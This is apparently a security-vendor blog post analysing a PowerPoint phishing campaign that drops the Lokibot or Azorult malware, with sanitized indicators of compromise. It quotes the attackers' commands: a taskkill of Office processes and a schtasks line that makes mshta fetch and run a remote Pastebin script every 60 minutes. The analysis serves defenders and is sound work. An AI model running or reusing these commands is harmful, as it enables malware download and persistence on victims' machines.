PowerPoint Malware References Drake Lyrics to Drop Lokibot & Azorult

January 07, 2020 | by David Pickett | advanced email security, malware

PowerPoint Malware References Drake Lyrics to Drop Lokibot & Azorult

A malware campaign using PowerPoint as the infection vector caught our eye after we noticed it contained lyrics to a popular Drake song hidden inside a PowerShell command. Depending on the victim, it either dropped the Lokibot info stealer or Azorult remote access trojan. This infection chain all starts with a simple email, such as the example pictured below.

 

Heavy Obfuscation

Upon opening either of the PowerPoint attachments, it automatically runs a heavily obfuscated visual basic script.

 

This script uses the Microsoft HTML application host (mshta.exe) to reach out to a Bitly shortened link (hxxp://j.mp/*) in an attempt to circumvent browser defense controls. It then uses the command line to task kill Excel & Word, if running.

"C:\Windows\System32\cmd.exe" /c taskkill /f /im excel.exe & taskkill /f /im winword.exe

After that, it creates a scheduled task for mshta to reach out to a Pastebin url every 60 minutes. This is where an encoded script is located and the url it retrieves dictates whether the recipient ultimately receives the Lokibot or Azorult payload in our samples.

"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 60 /tn (+main+) /tr "mshta hxxp:\\pastebin[.]com\raw\C5qNg3Dr" /F

 

Once decoded, this translates into a PowerShell script that contains a reference to Drake's "Keke Do You Love Me" lyrics. This attacker “Master X”, retrieved from the metadata inside the PowerPoint, had a sense of humor when he was creating the invoke-expression cmdlet. "Master X" also obfuscated the ‘DownloadString’ inside this PowerShell script below in another attempt to avoid defense solutions monitoring PowerShell activity.

 

This script reaches out to paste.ee and downloads a malicious executable named calc.exe. We can see this retrieved malicious executable file header when loading up the paste.ee site.

 

Sanitized Indicators of Compromise:

Lokibot sample:

Dropped executable file

                sha256     80c10ee5f21f92f89cbc293a59d2fd4c01c7958aacad15642558db700943fa22

                C:\Users\admin\AppData\Roaming\F63AAA\A71D80.exe

DNS requests

                domain d228z91au11ukj.cloudfront[.]net            

                domain xnasxjnasn.blogspot[.]com         

                domain paste[.]ee          

                domain j[.]mp  

Connections

                ip            143.204.214.11 

                ip            104.20.68.143    

                ip            107.175.150.73 

HTTP/HTTPS requests

                url           hxxp://j[.]mp/mo7xasnnr            

                url           hxxp://107.175.150[.]73/~giftioz/.cttr/fre.php  

                url           hxxp://pastebin[.]com/raw/CNtXYPpn  

Azorult example:

Main object - "Purchase Order A6.pps"

                sha256  a3c8f58fd18e564ec11c247aede37b0be763d1fca46d0cbe5d032cf17e3a6bf3         

DNS requests

                domain j[.]mp  

                domain xnasxjnasn.blogspot[.]com         

                domain resources.blogblog[.]com           

                domain paste[.]ee          

Connections

                ip            104.20.68.143    

                ip            23.106.160.1      

HTTP/HTTPS requests

                url           hxxp://j[.]mp/ml2xasnnr             

                url           hxxp://pastebin[.]com/raw/C5qNg3Dr  

                url           hxxp://paste[.]ee/r/sFV9L           

                 url             hxxp://23.106.160[.]1/Panel/2/index.php

 

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